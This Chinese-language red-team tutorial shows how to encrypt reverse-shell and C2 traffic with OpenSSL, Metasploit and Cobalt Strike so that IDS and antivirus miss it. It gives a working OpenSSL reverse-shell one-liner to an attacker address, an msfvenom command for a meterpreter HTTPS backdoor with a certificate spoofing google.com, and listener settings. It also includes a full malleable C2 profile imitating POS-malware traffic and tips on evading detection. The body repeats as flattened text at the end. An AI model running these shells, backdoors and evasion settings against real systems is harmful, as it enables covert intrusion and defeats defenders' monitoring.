渗透测试之地基流量加密篇:SSL、MSF、CS三种方式进行流量加密
字数 1427 2025-08-15 21:33:10

渗透测试流量加密技术详解

一、前言

在红队渗透测试过程中,反弹shell是常见的横向渗透手段。但明文传输的shell流量容易被IDS或防护软件检测,导致攻击行为被发现和阻断。本文详细介绍三种主流流量加密技术:OpenSSL、Metasploit和Cobalt Strike的加密方法,帮助安全测试人员规避流量检测。

二、环境准备

测试环境配置

  • 攻击者机器

    • 系统:Kali Linux 2020.4
    • IP:192.168.175.145
  • 目标机器

    • Windows Server 2019:192.168.2.142
    • Linux服务器(Kali):192.168.2.141
  • 监控工具

    • Wireshark用于流量分析

三、OpenSSL流量加密技术

1. 生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

此命令生成:

  • 4096位RSA私钥(key.pem)
  • 有效期365天的自签名证书(cert.pem)

2. 建立加密连接

攻击者监听端

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

目标机反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.175.145:8888 > /tmp/s; rm /tmp/s

3. 流量分析

使用Wireshark抓包分析,TCP流显示为加密乱码,无法识别原始命令内容。

四、Metasploit流量加密

1. 创建SSL/TLS证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

建议使用高可信度域名(如google.com)提高隐蔽性。

2. 生成加密后门

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.175.145 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o dayu.bat

3. 配置监听器

use exploit/multi/handler
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.175.145
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
exploit

关键参数:

  • HandlerSSLCert:指定证书路径
  • StagerVerifySSLCert:启用SSL证书验证

4. 效果验证

成功建立连接后,Wireshark显示流量为HTTPS加密传输,无法解析原始内容。

五、Cobalt Strike 4.0流量加密

1. 证书生成

keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore dayu.store

输入信息示例:

  • 密钥库密码:至少6位
  • CN=dayu, OU=Microsoft, O=Microsoft, L=US, ST=US, C=en

2. 创建C2 Profile文件

dayu.profile示例:

set sample_name "dayu POS Malware";
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

https-certificate {
    set CN "dayu";
    set O "Microsoft";
    set C "en";
    set L "US";
    set OU "Microsoft";
    set ST "US";
    set validity "365";
}

code-signer{
    set keystore "dayu.store";
    set password "dayu123";
    set alias "dayu";
}

set dns_idle "8.8.4.4";
set dns_sleep "0";
set maxdns "235";

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
        id {
            netbios;
            parameter "id";
        }
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}

http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

验证配置文件:

./c2lint dayu.profile

3. 修改Teamserver配置

vi teamserver

修改默认端口50050为其他端口(如40567)

4. 启动Teamserver

nohup ./teamserver 192.168.175.145 11111 dayu.profile &

5. 创建HTTPS监听器

在Cobalt Strike中:

  1. 选择"Listeners"
  2. 添加HTTPS监听器
  3. 配置与profile匹配的参数

6. 生成加密Payload

使用生成的证书创建各种格式的Payload,配合免杀技术使用。

六、总结对比

技术 优点 缺点 适用场景
OpenSSL 简单易用,兼容性好 需要手动建立管道 Linux环境快速加密
Metasploit 集成度高,支持多种Payload 证书需要预先配置 内网横向渗透
Cobalt Strike 功能全面,隐蔽性高 配置复杂,资源占用大 高级红队操作

七、最佳实践建议

  1. 证书选择

    • 使用高信誉域名的证书(如google.com)
    • 定期更换证书避免特征积累
  2. 流量特征规避

    • 设置合理的sleep和jitter参数
    • 模拟正常用户流量模式
  3. 环境配置

    • 修改默认端口和服务标识
    • 使用C2 Profile精细控制流量特征
  4. 监控与验证

    • 使用Wireshark验证加密效果
    • 定期测试对抗最新检测技术

通过合理应用这些加密技术,可以有效规避常见IDS/IPS的检测,提高红队操作的隐蔽性和成功率。

渗透测试流量加密技术详解 一、前言 在红队渗透测试过程中,反弹shell是常见的横向渗透手段。但明文传输的shell流量容易被IDS或防护软件检测,导致攻击行为被发现和阻断。本文详细介绍三种主流流量加密技术:OpenSSL、Metasploit和Cobalt Strike的加密方法,帮助安全测试人员规避流量检测。 二、环境准备 测试环境配置 攻击者机器 : 系统:Kali Linux 2020.4 IP:192.168.175.145 目标机器 : Windows Server 2019:192.168.2.142 Linux服务器(Kali):192.168.2.141 监控工具 : Wireshark用于流量分析 三、OpenSSL流量加密技术 1. 生成自签名证书 此命令生成: 4096位RSA私钥(key.pem) 有效期365天的自签名证书(cert.pem) 2. 建立加密连接 攻击者监听端 : 目标机反弹shell : 3. 流量分析 使用Wireshark抓包分析,TCP流显示为加密乱码,无法识别原始命令内容。 四、Metasploit流量加密 1. 创建SSL/TLS证书 建议使用高可信度域名(如google.com)提高隐蔽性。 2. 生成加密后门 3. 配置监听器 关键参数: HandlerSSLCert :指定证书路径 StagerVerifySSLCert :启用SSL证书验证 4. 效果验证 成功建立连接后,Wireshark显示流量为HTTPS加密传输,无法解析原始内容。 五、Cobalt Strike 4.0流量加密 1. 证书生成 输入信息示例: 密钥库密码:至少6位 CN=dayu, OU=Microsoft, O=Microsoft, L=US, ST=US, C=en 2. 创建C2 Profile文件 dayu.profile 示例: 验证配置文件: 3. 修改Teamserver配置 修改默认端口50050为其他端口(如40567) 4. 启动Teamserver 5. 创建HTTPS监听器 在Cobalt Strike中: 选择"Listeners" 添加HTTPS监听器 配置与profile匹配的参数 6. 生成加密Payload 使用生成的证书创建各种格式的Payload,配合免杀技术使用。 六、总结对比 | 技术 | 优点 | 缺点 | 适用场景 | |------|------|------|---------| | OpenSSL | 简单易用,兼容性好 | 需要手动建立管道 | Linux环境快速加密 | | Metasploit | 集成度高,支持多种Payload | 证书需要预先配置 | 内网横向渗透 | | Cobalt Strike | 功能全面,隐蔽性高 | 配置复杂,资源占用大 | 高级红队操作 | 七、最佳实践建议 证书选择 : 使用高信誉域名的证书(如google.com) 定期更换证书避免特征积累 流量特征规避 : 设置合理的sleep和jitter参数 模拟正常用户流量模式 环境配置 : 修改默认端口和服务标识 使用C2 Profile精细控制流量特征 监控与验证 : 使用Wireshark验证加密效果 定期测试对抗最新检测技术 通过合理应用这些加密技术,可以有效规避常见IDS/IPS的检测,提高红队操作的隐蔽性和成功率。